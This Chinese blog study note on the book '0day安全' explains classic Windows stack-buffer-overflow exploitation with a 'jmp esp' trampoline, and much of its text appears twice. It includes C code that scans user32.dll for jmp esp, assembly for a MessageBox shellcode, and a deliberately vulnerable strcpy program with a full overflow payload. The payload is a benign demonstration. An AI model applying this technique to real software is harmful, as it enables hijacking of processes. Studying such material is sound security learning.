《0day安全》学习笔记4——以jmp esp 为跳板的shellcode开发
2015-11-25 09:48
573 查看
0x00 Shellcode概述
Shellcode与exploit
1) shellcode:缓冲区攻击中植入进程的代码。进行删改文件、窃取数据、上传木马并运行、格式话硬盘等。用汇编语言编写,并转换成二进制机器码,内容和长度受到苛刻限制。
2) exploit: 漏洞利用程序,用于生成攻击性的网络数据包或其他形式的攻击性输入。exploit的核心是淹没返回地址,劫持进程控制权,跳去执行shellcode
3) 区别:shellcode具有一定的通用性,exploit针对特定漏洞
0x01 定位shellcode
漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即shellcode在内存中的地址是动态变化的,因此需要exploit在运行时动态定位栈中的shellcode。
函数返回步骤
1) 保存返回值:函数返回值保存在EAX寄存器
2) 弹出当前栈帧,恢复上一个栈帧
a) ESP + 当前栈帧大小:堆栈平衡基础上,降低栈顶,回收当前栈帧空间
b) POP EBP:前栈帧EBP弹给EBP,恢复上一个栈帧
c) POP EIP:函数返回地址弹给EIP
3) 跳转:按EIP的值返回母函数继续执行
由函数调用过程可知,一般情况下,ESP中地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置是淹没的返回地址的下一位(子函数平衡栈ret n时,ESP将指向下n位)。
可用”jmp esp”作为跳板动态定位shellcode
1) 用内存中任意一个”jmp esp”的地址覆盖返回地址
2) 函数返回后被重定向去执行内存中jmp esp指令
3) 由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行
4) shellcode的布置。缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode。
获取跳板的地址
1) 一些经常被用到的动态链接库会被映射到内存,如kernel.32.dll、user32.dll会被几乎所有进程加载,且加载基址始终相同(不同OS上可能不同)。所有这里使用user32.dll中的jmp esp作为跳板。
2) 编程搜索jmp esp的内存地址。搜索得到以下地址,从中选取0x77d93acc作为定位shellcode的跳板覆盖函数返回地址。
shellcode功能需求
1) 调用MessageBox实现弹窗
a) 装载user.dll动态链接库,MessageBox是user32.dll的导出函数
b) 获得函数入口地址,用Dependency Walker打开一个图形界面程序,找到user.dll的基址为0x77D10000,MessageBoxA的偏移地址为0x000407EA,故入口地址为0x77D507EA。
c) 向栈中压入MessageBoxA的4个参数
2) 为程序避免堆栈不平衡导致崩溃,调用exit函数让程序正常退出。用Dependency Walker找出ExitProcess函数(Kernel32.dll的导出函数)入口地址,0x7C81CDDA。
shellcode汇编代码
用EBX清零后入栈作为”failwest”截断符是为了避免PUSH 0中的NULL,否则植入的机器码会被strcpy函数截断。
将shellcode汇编代码在VC中编译得到的.exe文件放到OllyDbg中调试获得机器码,组织好并放入exploit中。返回地址\xCC\x3A\xD9\x77前填充数据量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
原理解释:
1) 拷贝前后栈中变量分布:
拷贝前:
拷贝后:
2) 函数返回到jmp esp
此时ESP的值为0x0012FB2C
3) 执行jmp esp,CPU将取shellcode指令执行
4) 运行结果:弹窗并正常退出而不报错。
——《0day安全》学习笔记
Shellcode与exploit
1) shellcode:缓冲区攻击中植入进程的代码。进行删改文件、窃取数据、上传木马并运行、格式话硬盘等。用汇编语言编写,并转换成二进制机器码,内容和长度受到苛刻限制。
2) exploit: 漏洞利用程序,用于生成攻击性的网络数据包或其他形式的攻击性输入。exploit的核心是淹没返回地址,劫持进程控制权,跳去执行shellcode
3) 区别:shellcode具有一定的通用性,exploit针对特定漏洞
0x01 定位shellcode
漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即shellcode在内存中的地址是动态变化的,因此需要exploit在运行时动态定位栈中的shellcode。
函数返回步骤
1) 保存返回值:函数返回值保存在EAX寄存器
2) 弹出当前栈帧,恢复上一个栈帧
a) ESP + 当前栈帧大小:堆栈平衡基础上,降低栈顶,回收当前栈帧空间
b) POP EBP:前栈帧EBP弹给EBP,恢复上一个栈帧
c) POP EIP:函数返回地址弹给EIP
3) 跳转:按EIP的值返回母函数继续执行
由函数调用过程可知,一般情况下,ESP中地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置是淹没的返回地址的下一位(子函数平衡栈ret n时,ESP将指向下n位)。
可用”jmp esp”作为跳板动态定位shellcode
1) 用内存中任意一个”jmp esp”的地址覆盖返回地址
2) 函数返回后被重定向去执行内存中jmp esp指令
3) 由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行
4) shellcode的布置。缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode。
获取跳板的地址
1) 一些经常被用到的动态链接库会被映射到内存,如kernel.32.dll、user32.dll会被几乎所有进程加载,且加载基址始终相同(不同OS上可能不同)。所有这里使用user32.dll中的jmp esp作为跳板。
2) 编程搜索jmp esp的内存地址。搜索得到以下地址,从中选取0x77d93acc作为定位shellcode的跳板覆盖函数返回地址。
#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } getchar(); }
shellcode功能需求
1) 调用MessageBox实现弹窗
a) 装载user.dll动态链接库,MessageBox是user32.dll的导出函数
b) 获得函数入口地址,用Dependency Walker打开一个图形界面程序,找到user.dll的基址为0x77D10000,MessageBoxA的偏移地址为0x000407EA,故入口地址为0x77D507EA。
c) 向栈中压入MessageBoxA的4个参数
2) 为程序避免堆栈不平衡导致崩溃,调用exit函数让程序正常退出。用Dependency Walker找出ExitProcess函数(Kernel32.dll的导出函数)入口地址,0x7C81CDDA。
int MessageBox ( HWND, //handle to owner window LPCTSTR, //text in message box LPCTSTR, //message box title UINT //message box style )
shellcode汇编代码
用EBX清零后入栈作为”failwest”截断符是为了避免PUSH 0中的NULL,否则植入的机器码会被strcpy函数截断。
#include <windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp,0x440 xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6C696166 //push “failwest” mov eax,esp //load address of failwest push ebx // Messagebox (0,failwest,failwest,0) push eax push eax push ebx mov eax, 0x77D507EA //(0x77D804EA) address should be reset in different OS call eax //call MessageboxA push ebx mov eax, 0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS call eax //call exit(0) } }
将shellcode汇编代码在VC中编译得到的.exe文件放到OllyDbg中调试获得机器码,组织好并放入exploit中。返回地址\xCC\x3A\xD9\x77前填充数据量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
#include"stdio.h" #include"string.h" #include <windows.h> #define PASSWORD "1234567" char password[1024] = "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31" "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31" "\x34\x33\x32\x31\x34\x33\x32\x31\xCC\x3A\xD9\x77" "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69" "\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77" "\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0"; int verify_password (char *password) { int authenticated; char buffer[22];// add local buff authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } void main() { int valid_flag=0; LoadLibrary("user32.dll");//prepare for messagebox while(1) { valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n\n"); } else { printf("Congratulation! You have passed the verification!\n"); break; } } }
原理解释:
1) 拷贝前后栈中变量分布:
拷贝前:
拷贝后:
2) 函数返回到jmp esp
此时ESP的值为0x0012FB2C
3) 执行jmp esp,CPU将取shellcode指令执行
4) 运行结果:弹窗并正常退出而不报错。
——《0day安全》学习笔记
相关文章推荐
- linux shell 脚本攻略001
- Powershell 查询 Office 365 邮件
- Shell之readelf命令简介
- Shell之objdump用法简介
- Shell之lsof命令简介
- CentOS 6安装命令自动补全功能(bash-completion)
- 一些shell命令
- mac bashrc
- Shell编程入门
- Shell学习笔记 - 运算符
- 【程序员技术练级】熟悉Unix/Linux Shell和常见的命令行(一)文件系统结构和基本操作
- [Android Pro] Android以root起一个process[shell脚本的方法]
- 笔记-Shell特殊变量
- xshell连接本地虚拟机的步骤
- shell脚本打印日志方法
- Linux Bash 字符串/布尔/文件操作符
- [zz]Linux系统相关shell命令
- Linus Bash Shell 的特殊变量和关系运算符
- 【学神-RHEL6.5】1-17 shell基础及if表达式
- python 从shell读取指定文件以及写入指定文件